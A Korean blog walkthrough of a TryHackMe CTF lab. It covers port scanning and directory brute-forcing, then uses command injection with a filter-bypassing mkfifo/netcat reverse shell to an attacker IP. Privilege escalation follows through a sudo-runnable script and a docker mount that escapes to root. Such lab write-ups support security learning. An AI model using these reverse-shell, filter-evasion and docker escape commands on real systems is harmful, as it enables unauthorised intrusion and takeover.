TASK 1 Investigate!
PortScan
포트 스캔부터 해주겠습니다
nmap -sV -sC -A 10.10.201.217
출력내용
nmap -sV -sC -A 10.10.201.217
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-24 01:06 EST
Nmap scan report for 10.10.201.217
Host is up (0.25s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.8.63.34
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 1001 1001 90 Oct 03 2020 note.txt
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 09:f9:5d:b9:18:d0:b2:3a:82:2d:6e:76:8c:c2:01:44 (RSA)
| 256 1b:cf:3a:49:8b:1b:20:b0:2c:6a:a5:51:a8:8f:1e:62 (ECDSA)
|_ 256 30:05:cc:52:c6:6f:65:04:86:0f:72:41:c8:a4:39:cf (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Game Info
|_http-server-header: Apache/2.4.29 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
열린포트
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)'
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
웹페이지에 들어가보겠습니다
웹 홈페이지가 보입니다
gobuster
웹 사이트에 경로파악을 해보겠습니다
gobuster dir -u http://10.10.201.217/ -w '/home/kali/Downloads/directory-list-2.3-medium.txt'
다른건 생략하고
/secret 경로로 들어가보겠습니다
ㅇㅁㅇ
커맨드 입력창이 뜨네요
딱봐도 커맨드 인젝션 취약점 같으니
명령어를..
???
경고창이 뜨면서 막아버렸습니다
리버스쉘로 우회 해보겠습니다
Reverse Shell
바로 막혀버리네요 -_-
r\m /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.63.34 4444 >/tmp/f
mkfifo 역방향 쉘을 이용했더니
성공적으로 쉘을 얻어냈습니다
현재 디렉토리에선 중요한건 없는거 같습니다
권한상승을 해주겠습니다
Privilege escalation
python3 -c 'import pty; pty.spawn("/bin/bash")'
이것만으로는 부족한거같습니다
전에 포트스캔을 했을떄 ftp 서버가 열려있었습니다
ftp 서버에 로그인 해보겠습니다
ftp 10.10.201.217
경로에 note.txt 가 있습니다
note.txt 를 다운로드 받아줍시다
cat note.txt
해석
Anourodh 가 말하기를 명령어에 입력된문자를 필터링 한다고 합니다
아까 전 리버스쉘 말하는거 같습니다
다시 리버스쉘로 돌아오겠습니다
User flag
cd /home/apaar
apaar 디렉토리로 와졌습니다
local.txt 를 열어볼려고 시도했지만 권한이 부족한관계로 열지 못했습니다
현재 apaar 를 사용하여 .helpline.sh 를 실행하면 appar 이라는 쉘을 얻어낼수가 있습니다
sudo -u apaar /home/apaar/.helpline.sh
그다음으로
python3 -c 'import pty; pty.spawn("/bin/bash")'
성공적으로 쉘을 얻어냈습니다
Root flag
https://gtfobins.github.io/gtfobins/docker/
docker | GTFOBins
.. / docker Shell File write File read SUID Sudo This requires the user to be privileged enough to run docker, i.e. being in the docker group or being root. Any other Docker Linux image should work, e.g., debian. Shell It can be used to break out from rest
gtfobins.github.io
여기 도커와 관련된 쉘이 있습니다
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
cat proof.txt
난이도 : 5/10
한줄평 : HARD SO HARD
'TryHackMe | CTF' 카테고리의 다른 글
TryHackMe | Retro - OSCP 챌린지 (0) | 2024.12.08 |
---|---|
TryHackMe | Brooklyn Nine Nine - 모의해킹 CTF (1) | 2024.11.24 |
TryHackMe | tomghost - CTF 모의해킹 (1) | 2024.11.17 |
TryHackMe | LazyAdmin - CTF 모의해킹 (2) | 2024.11.10 |
TryHackMe | Bounty Hacker - CTF 모의해킹 (2) | 2024.11.10 |